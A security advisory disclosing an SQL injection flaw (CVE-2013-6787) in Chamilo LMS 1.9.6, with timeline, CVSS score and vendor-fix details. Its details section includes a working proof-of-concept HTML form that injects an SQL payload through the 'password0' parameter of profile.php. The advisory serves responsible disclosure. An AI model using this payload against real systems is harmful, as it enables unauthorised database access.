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SQL Injection in Chamilo LMS

Advisory ID:HTB23182
Product:Chamilo LMS
Vendor:Chamilo Association
Vulnerable Versions:1.9.6 and probably prior
Tested Version:1.9.6
Advisory Publication:November 6, 2013 [without technical details]
Vendor Notification:November 6, 2013
Vendor Fix:November 9, 2013
Public Disclosure:November 27, 2013
Latest Update:November 8, 2013
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2013-6787
Risk Level:Medium
CVSSv2 Base Score:6 (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Chamilo LMS, which can be exploited to perform SQL Injection attacks.


1) SQL Injection in Chamilo LMS: CVE-2013-6787

The vulnerability exists due to insufficient validation of "password0" HTTP POST parameter passed to "/main/auth/profile.php" script. A remote authenticated attacker can execute arbitrary SQL commands in application's database.

The following exploitation example displays version of MySQL server:
<form action="http://[host]/main/auth/profile.php" method="post" name="main">
<input type="hidden" name="password0" value="' OR substring(version(),1,1)=5 -- ">
<input type="hidden" name="password1" value="password">
<input type="hidden" name="password2" value="password">
<input type="hidden" name="apply_change" value="">
<input type="hidden" name="firstname" value="first_name">
<input type="hidden" name="lastname" value="last_name">
<input type="hidden" name="username" value="username">
<input type="hidden" name="official_code" value="USER">
<input type="hidden" name="phone" value="">
<input type="hidden" name="language" value="">
<input type="hidden" name="extra_mail_notify_invitation" value="">
<input type="hidden" name="extra_mail_notify_message" value="">
<input type="hidden" name="extra_mail_notify_group_message" value="">
<input type="hidden" name="_qf__profile" value="">
<input type="hidden" name="" value="">
<input type="submit" id="btn">
</form>

Successful exploitation of this vulnerability requires that the application is configured during installation not to encrypt users' passwords ("Encryption method" option is set to "none").


Solution:
Edit the source code and apply changes according to vendor's instructions:.

More Information:
https://support.chamilo.org/projects/chamilo-18/wiki/Security_issues#Issue-10-2013-11-06-Moderate-risk-SQL-Injection-in-specific-unrecommended-case


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB23182 - https://www.htbridge.com/advisory/HTB23182 - SQL Injection in Chamilo LMS.
[2] Chamilo LMS - http://www.chamilo.org/ - Chamilo aims at bringing you the best e-learning and collaboration platform in the open source world.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

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